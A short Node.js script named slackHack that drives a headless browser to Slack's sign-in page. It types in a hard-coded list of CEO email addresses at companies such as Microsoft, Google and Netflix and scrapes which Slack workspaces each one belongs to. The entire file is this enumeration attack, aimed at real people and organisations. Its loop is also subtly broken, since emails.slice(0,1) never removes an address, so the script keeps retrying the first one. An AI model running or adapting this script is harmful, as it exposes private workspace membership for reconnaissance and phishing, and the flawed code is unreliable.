var cheerio = require('cheerio'); var Nightmare = require('nightmare'); var emails = [] emails.push("ceo@microsoft.com") emails.push("ceo@google.com") emails.push("ceo@netflix.com") emails.push("ceo@about.me") emails.push("ceo@rdio.com") emails.push("ceo@heroku.com") emails.push("ceo@medium.com") emails.push("ceo@buzzfeed.com") emails.push("ceo@soundcloud.com") emails.push("ceo@typekit.com") slackHack(emails[0]) function slackHack(email) { new Nightmare() .useragent('silly') .goto('https://slack.com/signin') .type('.control-group input', email) .click('.btn') .wait() .screenshot('./shot.png') .evaluate(function (page) { return document.documentElement.innerHTML; }, function (res) { $ = cheerio.load(res); var groups = []; $('a.btn-outline.small_right_margin').each(function(i, elem) { groups[i] = $(this).text().replace(/Sign up for/ig,""); }); var domain =email.substr((email.indexOf("@")+1)); console.log(domain + " groups:", groups.join(',')); emails.slice(0,1); if (emails.length) { slackHack(emails[0]); } else { return; } }) .run(); }